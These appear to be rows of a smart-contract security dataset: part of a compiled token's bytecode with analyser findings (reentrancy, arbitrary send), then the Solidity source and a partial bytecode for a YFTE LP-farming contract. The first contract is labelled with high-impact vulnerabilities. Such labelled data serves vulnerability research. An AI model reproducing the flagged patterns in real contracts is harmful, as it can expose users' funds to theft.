5afa158015610627573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064b9190611401565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610698573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106bc9190611401565b600b80546001600160a01b0319166001600160a01b03928316179055600a541663f305d71947306106ec816103b0565b6000806107016000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610769573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061078e919061141e565b5050600b805462ff00ff60a01b1981166201000160a01b17909155600a5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156107fd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610821919061144c565b5050565b6009546001600160a01b0316336001600160a01b03161461084557600080fd5b476103ad81610e37565b6001600160a01b0383166108b15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610428565b6001600160a01b0382166109125760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610428565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109d75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610428565b6001600160a01b038216610a395760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610428565b60008111610a9b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610428565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610aea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0e919061146e565b600b546001600160a01b038481169116148015610b395750600a546001600160a01b03858116911614155b610b44576000610b46565b815b1115610b5157600080fd5b6000546001600160a01b03848116911614801590610b7d57506000546001600160a01b03838116911614155b15610bef576000610b8d306103b0565b600b54909150600160a81b900460ff16158015610bb85750600b546001600160a01b03858116911614155b8015610bcd5750600b54600160b01b900460ff165b15610bed57610bdb81610c39565b478015610beb57610beb47610e37565b505b505b610bfa838383610e71565b505050565b60008184841115610c235760405162461bcd60e51b815260040161042891906112d4565b506000610c30848661149d565b95945050505050565b600b805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610c8157610c816114b4565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfe9190611401565b81600181518110610d1157610d116114b4565b6001600160a01b039283166020918202929092010152600a54610d37913091168461084f565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d709085906000908690309042906004016114ca565b600060405180830381600087803b158015610d8a57600080fd5b505af1158015610d9e573d6000803e3d6000fd5b5050600b805460ff60a81b1916905550505050565b6000600754821115610e1a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610428565b6000610e24610e7c565b9050610e308382610e9f565b9392505050565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610821573d6000803e3d6000fd5b610bfa838383610ee1565b6000806000610e89610fd8565b9092509050610e988282610e9f565b9250505090565b6000610e3083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611018565b600080600080600080610ef387611046565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610f2590876110a1565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610f5490866110e3565b6001600160a01b038916600090815260026020526040902055610f7681611142565b610f80848361118c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fc591815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000610ff38282610e9f565b82101561100f57505060075492678ac7230489e8000092509050565b90939092509050565b600081836110395760405162461bcd60e51b815260040161042891906112d4565b506000610c30848661153b565b60008060008060008060008060006110618a600160096111b0565b9250925092506000611071610e7c565b905060008060006110848e878787611205565b919e509c509a509598509396509194505050505091939550919395565b6000610e3083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bff565b6000806110f0838561155d565b905083811015610e305760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610428565b600061114c610e7c565b9050600061115a8383611255565b3060009081526002602052604090205490915061117790826110e3565b30600090815260026020526040902055505050565b60075461119990836110a1565b6007556008546111a990826110e3565b6008555050565b60008080806111ca60646111c48989611255565b90610e9f565b905060006111dd60646111c48a89611255565b905060006111f5826111ef8b866110a1565b906110a1565b9992985090965090945050505050565b60008080806112148886611255565b905060006112228887611255565b905060006112308888611255565b90506000611242826111ef86866110a1565b939b939a50919850919650505050505050565b60008261126457506000610308565b60006112708385611575565b90508261127d858361153b565b14610e305760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610428565b600060208083528351808285015260005b81811015611301578581018301518582016040015282016112e5565b81811115611313576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146103ad57600080fd5b6000806040838503121561135157600080fd5b823561135c81611329565b946020939093013593505050565b60008060006060848603121561137f57600080fd5b833561138a81611329565b9250602084013561139a81611329565b929592945050506040919091013590565b6000602082840312156113bd57600080fd5b8135610e3081611329565b600080604083850312156113db57600080fd5b82356113e681611329565b915060208301356113f681611329565b809150509250929050565b60006020828403121561141357600080fd5b8151610e3081611329565b60008060006060848603121561143357600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561145e57600080fd5b81518015158114610e3057600080fd5b60006020828403121561148057600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156114af576114af611487565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561151a5784516001600160a01b0316835293830193918301916001016114f5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261155857634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561157057611570611487565b500190565b600081600019048311821515161561158f5761158f611487565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220029ad65aaccb5fb5d9ef8ec569082043d21efcbe2515d482b72bae3f5883c79e64736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,145 |
0x17551d29ad2f5304c2706ac7025260baefe38fa1 | /**
*Submitted for verification at Etherscan.io on 2021-01-13
*/
pragma solidity >=0.7.5;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract YFTE_Farming1 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
event RewardsDisbursed(uint amount);
// Uniswap WETH/YFTE LP token contract address
address public constant LPtokenAddress = 0x2dc9136aCE4077D5060131c0ecCD1635897c75dD;
//YFTE token address
address public constant tokenAddress = 0x94F31aC896c9823D81cf9C2C93feCEeD4923218f;
uint public constant withdrawFeePercentX100 = 50;
uint public constant disburseAmount = 200e18;
uint public constant disburseDuration = 30 days;
uint public disbursePercentX100 = 10000;
uint public lastDisburseTime;
constructor() {
lastDisburseTime = block.timestamp;
}
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalTokensDisbursed = 0;
uint public contractBalance = 0;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint internal pointMultiplier = 1e18;
function addContractBalance(uint amount) public onlyOwner {
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!");
contractBalance = contractBalance.add(amount);
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = block.timestamp;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
totalTokens = totalTokens.add(amountToDeposit);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
depositTime[msg.sender] = block.timestamp;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function emergencyWithdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
lastClaimedTime[msg.sender] = block.timestamp;
lastDivPoints[msg.sender] = totalDivPoints;
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function distributeDivs(uint amount) private {
if (totalTokens == 0) return;
totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens));
emit RewardsDisbursed(amount);
}
function disburseTokens() public onlyOwner {
uint amount = getPendingDisbursement();
// uint contractBalance = Token(tokenAddress).balanceOf(address(this));
if (contractBalance < amount) {
amount = contractBalance;
}
if (amount == 0) return;
distributeDivs(amount);
contractBalance = contractBalance.sub(amount);
lastDisburseTime = block.timestamp;
}
function getPendingDisbursement() public view returns (uint) {
uint timeDiff = block.timestamp.sub(lastDisburseTime);
uint pendingDisburse = disburseAmount
.mul(disbursePercentX100)
.mul(timeDiff)
.div(disburseDuration)
.div(10000);
return pendingDisburse;
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
/* function to allow owner to claim *other* ERC20 tokens sent to this contract.
Owner cannot recover unclaimed tokens (they are burnt)
*/
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
// require(_tokenAddr != tokenAddress && _tokenAddr != LPtokenAddress, "Cannot send out reward tokens or LP tokens!");
require(_tokenAddr != LPtokenAddress, "Admin cannot transfer out LP tokens from this vault!");
require(_tokenAddr != tokenAddress , "Admin cannot Transfer out Reward Tokens from this vault!");
Token(_tokenAddr).transfer(_to, _amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101da5760003560e01c80638da5cb5b11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b14610535578063f3f91fa01461055b578063f9da7db814610581578063fe547f7214610589576101da565b8063c326bf4f146104f7578063d1b965f31461051d578063d578ceab14610525578063e027c61f1461052d576101da565b806398896d10116100de57806398896d10146104a45780639d76ea58146104ca578063ac51de8d146104d2578063b6b55f25146104da576101da565b80638da5cb5b146104705780638e20a1d9146104945780638f5705be1461049c576101da565b806346c648731161017c57806365ca78be1161014b57806365ca78be146104225780636a395ccb1461042a5780637e1c0c09146104605780638b7afe2e14610468576101da565b806346c64873146103b15780634e71d92d146103d75780635312ea8e146103df5780636270cd18146103fc576101da565b80631f04461c116101b85780631f04461c146103495780632e1a7d4d1461036f578063308feec31461038c578063452b4cfc14610394576101da565b806305447d25146101df5780630813cc8f146103255780630c9a0c781461032f575b600080fd5b610202600480360360408110156101f557600080fd5b5080359060200135610591565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561024e578181015183820152602001610236565b50505050905001858103845288818151815260200191508051906020019060200280838360005b8381101561028d578181015183820152602001610275565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156102cc5781810151838201526020016102b4565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561030b5781810151838201526020016102f3565b505050509050019850505050505050505060405180910390f35b61032d6107fd565b005b61033761085b565b60408051918252519081900360200190f35b6103376004803603602081101561035f57600080fd5b50356001600160a01b0316610861565b61032d6004803603602081101561038557600080fd5b5035610873565b610337610b3c565b61032d600480360360208110156103aa57600080fd5b5035610b4d565b610337600480360360208110156103c757600080fd5b50356001600160a01b0316610c4a565b61032d610c5c565b61032d600480360360208110156103f557600080fd5b5035610c65565b6103376004803603602081101561041257600080fd5b50356001600160a01b0316610cfa565b610337610d0c565b61032d6004803603606081101561044057600080fd5b506001600160a01b03813581169160208101359091169060400135610d12565b610337610e69565b610337610e6f565b610478610e75565b604080516001600160a01b039092168252519081900360200190f35b610337610e84565b610337610e8a565b610337600480360360208110156104ba57600080fd5b50356001600160a01b0316610e91565b610478610f2d565b610337610f45565b61032d600480360360208110156104f057600080fd5b5035610f9d565b6103376004803603602081101561050d57600080fd5b50356001600160a01b0316611143565b610337611155565b61033761115a565b610337611160565b61032d6004803603602081101561054b57600080fd5b50356001600160a01b0316611166565b6103376004803603602081101561057157600080fd5b50356001600160a01b03166111eb565b6104786111fd565b610337611215565b6060806060808486106105a357600080fd5b60006105af8688611222565b905060008167ffffffffffffffff811180156105ca57600080fd5b506040519080825280602002602001820160405280156105f4578160200160208202803683370190505b50905060008267ffffffffffffffff8111801561061057600080fd5b5060405190808252806020026020018201604052801561063a578160200160208202803683370190505b50905060008367ffffffffffffffff8111801561065657600080fd5b50604051908082528060200260200182016040528015610680578160200160208202803683370190505b50905060008467ffffffffffffffff8111801561069c57600080fd5b506040519080825280602002602001820160405280156106c6578160200160208202803683370190505b5090508a5b8a8110156107eb5760006106e0600483611239565b905060006106ee838f611222565b9050818782815181106106fd57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505060076000836001600160a01b03166001600160a01b031681526020019081526020016000205486828151811061074f57fe5b60200260200101818152505060086000836001600160a01b03166001600160a01b031681526020019081526020016000205485828151811061078d57fe5b60200260200101818152505060066000836001600160a01b03166001600160a01b03168152602001908152602001600020548482815181106107cb57fe5b6020908102919091010152506107e4905081600161124c565b90506106cb565b50929a91995097509095509350505050565b6000546001600160a01b0316331461081457600080fd5b600061081e610f45565b905080600c54101561082f5750600c545b8061083a5750610859565b6108438161125b565b600c546108509082611222565b600c5550426002555b565b60015481565b600a6020526000908152604090205481565b336000908152600660205260409020548111156108d7576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b6108e0336112c7565b60006108f96127106108f3846032611477565b90611497565b905060006109078383611222565b600080546040805163a9059cbb60e01b81526001600160a01b0390921660048301526024820186905251929350732dc9136ace4077d5060131c0eccd1635897c75dd9263a9059cbb92604480840193602093929083900390910190829087803b15801561097357600080fd5b505af1158015610987573d6000803e3d6000fd5b505050506040513d602081101561099d57600080fd5b50516109f0576040805162461bcd60e51b815260206004820152601760248201527f436f756c64206e6f74207472616e736665722066656521000000000000000000604482015290519081900360640190fd5b6040805163a9059cbb60e01b8152336004820152602481018390529051732dc9136ace4077d5060131c0eccd1635897c75dd9163a9059cbb9160448083019260209291908290030181600087803b158015610a4a57600080fd5b505af1158015610a5e573d6000803e3d6000fd5b505050506040513d6020811015610a7457600080fd5b5051610ac7576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b33600090815260066020526040902054610ae19084611222565b33600090815260066020526040902055600e54610afe9084611222565b600e55610b0c6004336114ac565b8015610b25575033600090815260066020526040902054155b15610b3757610b356004336114c1565b505b505050565b6000610b4860046114d6565b905090565b6000546001600160a01b03163314610b6457600080fd5b604080516323b872dd60e01b81523360048201523060248201526044810183905290517394f31ac896c9823d81cf9c2c93feceed4923218f916323b872dd9160648083019260209291908290030181600087803b158015610bc457600080fd5b505af1158015610bd8573d6000803e3d6000fd5b505050506040513d6020811015610bee57600080fd5b5051610c37576040805162461bcd60e51b815260206004820152601360248201527243616e6e6f74206164642062616c616e63652160681b604482015290519081900360640190fd5b600c54610c44908261124c565b600c5550565b60076020526000908152604090205481565b610859336112c7565b33600090815260066020526040902054811115610cc9576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b336000908152600860209081526040808320429055600d54600a9092528220556108f96127106108f3846032611477565b60096020526000908152604090205481565b600b5481565b6000546001600160a01b03163314610d2957600080fd5b6001600160a01b038316732dc9136ace4077d5060131c0eccd1635897c75dd1415610d855760405162461bcd60e51b81526004018080602001828103825260348152602001806116e16034913960400191505060405180910390fd5b6001600160a01b0383167394f31ac896c9823d81cf9c2c93feceed4923218f1415610de15760405162461bcd60e51b81526004018080602001828103825260388152602001806116a96038913960400191505060405180910390fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610e3857600080fd5b505af1158015610e4c573d6000803e3d6000fd5b505050506040513d6020811015610e6257600080fd5b5050505050565b600e5481565b600c5481565b6000546001600160a01b031681565b600d5481565b62278d0081565b6000610e9e6004836114ac565b610eaa57506000610f28565b6001600160a01b038216600090815260066020526040902054610ecf57506000610f28565b6001600160a01b0382166000908152600a6020526040812054600d54610ef491611222565b6001600160a01b038416600090815260066020526040812054600f5492935091610f22906108f38486611477565b93505050505b919050565b7394f31ac896c9823d81cf9c2c93feceed4923218f81565b600080610f5d6002544261122290919063ffffffff16565b90506000610f966127106108f362278d006108f386610f90600154680ad78ebc5ac620000061147790919063ffffffff16565b90611477565b9250505090565b60008111610ff2576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b610ffb336112c7565b604080516323b872dd60e01b8152336004820152306024820152604481018390529051732dc9136ace4077d5060131c0eccd1635897c75dd916323b872dd9160648083019260209291908290030181600087803b15801561105b57600080fd5b505af115801561106f573d6000803e3d6000fd5b505050506040513d602081101561108557600080fd5b50516110d8576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b336000908152600660205260409020546110f2908261124c565b33600090815260066020526040902055600e5461110f908261124c565b600e5561111d6004336114ac565b6111405761112c6004336114e1565b503360009081526007602052604090204290555b50565b60066020526000908152604090205481565b603281565b60035481565b60025481565b6000546001600160a01b0316331461117d57600080fd5b6001600160a01b03811661119057600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60086020526000908152604090205481565b732dc9136ace4077d5060131c0eccd1635897c75dd81565b680ad78ebc5ac620000081565b60008282111561122e57fe5b508082035b92915050565b600061124583836114f6565b9392505050565b60008282018381101561124557fe5b600e5461126757611140565b61128e611285600e546108f3600f548561147790919063ffffffff16565b600d549061124c565b600d556040805182815290517f497e6c34cb46390a801e970e8c72fd87aa7fded87c9b77cdac588f235904a8259181900360200190a150565b60006112d282610e91565b9050801561144b576040805163a9059cbb60e01b81526001600160a01b03841660048201526024810183905290517394f31ac896c9823d81cf9c2c93feceed4923218f9163a9059cbb9160448083019260209291908290030181600087803b15801561133d57600080fd5b505af1158015611351573d6000803e3d6000fd5b505050506040513d602081101561136757600080fd5b50516113ba576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b0382166000908152600960205260409020546113dd908261124c565b6001600160a01b038316600090815260096020526040902055600354611403908261124c565b600355604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600860209081526040808320429055600d54600a90925290912055565b600082820283158061149157508284828161148e57fe5b04145b61124557fe5b6000808284816114a357fe5b04949350505050565b6000611245836001600160a01b03841661155a565b6000611245836001600160a01b038416611572565b600061123382611638565b6000611245836001600160a01b03841661163c565b815460009082106115385760405162461bcd60e51b81526004018080602001828103825260228152602001806116876022913960400191505060405180910390fd5b82600001828154811061154757fe5b9060005260206000200154905092915050565b60009081526001919091016020526040902054151590565b6000818152600183016020526040812054801561162e57835460001980830191908101906000908790839081106115a557fe5b90600052602060002001549050808760000184815481106115c257fe5b6000918252602080832090910192909255828152600189810190925260409020908401905586548790806115f257fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611233565b6000915050611233565b5490565b6000611648838361155a565b61167e57508154600181810184556000848152602080822090930184905584548482528286